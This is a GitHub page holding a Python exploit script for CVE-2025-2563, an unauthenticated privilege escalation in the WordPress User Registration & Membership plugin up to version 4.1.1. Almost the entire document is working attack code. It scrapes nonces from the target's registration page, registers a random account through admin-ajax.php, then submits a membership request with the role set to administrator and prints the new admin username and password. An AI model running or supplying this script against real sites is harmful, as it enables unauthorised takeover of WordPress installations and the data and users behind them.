-
Notifications
You must be signed in to change notification settings - Fork 1
Expand file tree
/
Copy pathCVE-2025-2563.py
More file actions
111 lines (95 loc) · 4.65 KB
/
CVE-2025-2563.py
File metadata and controls
111 lines (95 loc) · 4.65 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
# Exploit Title: WordPress User Registration & Membership <= 4.1.1 - Unauthenticated Privilege Escalation
# Exploit Author: Al Baradi Joy
# CVE: CVE-2025-2563
# Date: 2025-04-07
# Vendor Homepage: https://wordpress.org/plugins/user-registration/
# Software Link: https://downloads.wordpress.org/plugin/user-registration.4.1.1.zip
# Version: <= 4.1.1
# Tested on: WordPress 6.4.3
# CVSS: 9.8 (CRITICAL)
# CWE: CWE-269
# References:
# - https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/user-registration/user-registration-membership-411-unauthenticated-privilege-escalation
# - https://patchstack.com/database/wordpress/plugin/user-registration/vulnerability/wordpress-user-registration-membership-plugin-4-1-2-unauthenticated-privilege-escalation-vulnerability
# - https://nvd.nist.gov/vuln/detail/CVE-2025-2563
import re
import json
import requests
import random
import string
from urllib.parse import urljoin
def banner():
print("\n[+] CVE-2025-2563 - WP User Registration Privilege Escalation")
print("[+] Made By Al Baradi Joy\n")
def randstring(n=8):
return ''.join(random.choices(string.ascii_lowercase, k=n))
def get_regex(content, pattern, group=1, name=""):
match = re.search(pattern, content)
if not match:
raise ValueError(f"[-] Could not extract {name} (Pattern: {pattern})")
return match.group(group)
def exploit(target):
session = requests.Session()
username = randstring()
password = randstring() + "!@"
email = f"{username}@exploit.test"
try:
print("[+] Getting registration page...")
r = session.get(urljoin(target, "/membership-registration/"), timeout=10)
r.raise_for_status()
page = r.text
nonce = get_regex(page, r'"user_registration_form_data_save":"(.*?)"', name="nonce")
formid = get_regex(page, r"id='user-registration-form-([0-9]+)'", name="formid")
memval = get_regex(page, r'id="ur-membership-select-membership-([0-9]+)', name="membership value")
memname = get_regex(page, r'data-field-id="membership_field_([0-9]+)"', name="membership field name")
front_nonce = get_regex(page, r'name="ur_frontend_form_nonce" value="(.*?)"', name="frontend_nonce")
loc_nonce = get_regex(page, r'ur_membership_frontend_localized_data = {"_nonce":"(.*?)"', name="localized_frontend_nonce")
print("[+] Submitting registration form...")
form_data = [
{"field_name": "user_login", "value": username, "field_type": "text", "label": "Username"},
{"field_name": "user_email", "value": email, "field_type": "email", "label": "User Email"},
{"field_name": "user_pass", "value": password, "field_type": "password", "label": "User Password"},
{"field_name": "user_confirm_password", "value": password, "field_type": "password", "label": "Confirm Password"},
{"value": memval, "field_type": "radio", "label": "membership", "field_name": f"membership_field_{memname}"}
]
payload = {
"action": "user_registration_user_form_submit",
"security": nonce,
"form_data": json.dumps(form_data),
"form_id": formid,
"registration_language": "en-US",
"ur_frontend_form_nonce": front_nonce,
"is_membership_active": memval,
"membership_type": memval
}
r2 = session.post(urljoin(target, "/wp-admin/admin-ajax.php"), data=payload, timeout=10)
if '"success":true' not in r2.text:
print("[-] Registration form failed.")
return
print("[+] Sending membership registration as administrator...")
member_payload = {
"action": "user_registration_membership_register_member",
"security": loc_nonce,
"members_data": json.dumps({
"membership": "1",
"payment_method": "free",
"start_date": "2025-3-29",
"username": username,
"role": "administrator"
})
}
r3 = session.post(urljoin(target, "/wp-admin/admin-ajax.php"), data=member_payload, timeout=10)
if '"success":true' in r3.text:
print("[+] Exploit Successful!")
print(f"[+] Admin Username: {username}")
print(f"[+] Admin Password: {password}")
else:
print("[-] Membership escalation failed.")
except Exception as e:
print(f"[-] Exploit failed: {str(e)}")
if __name__ == "__main__":
banner()
target = input("Enter target WordPress site (e.g., http://example.com): ").strip().rstrip('/')
if not target.startswith("http"):
target = "http://" + target
exploit(target)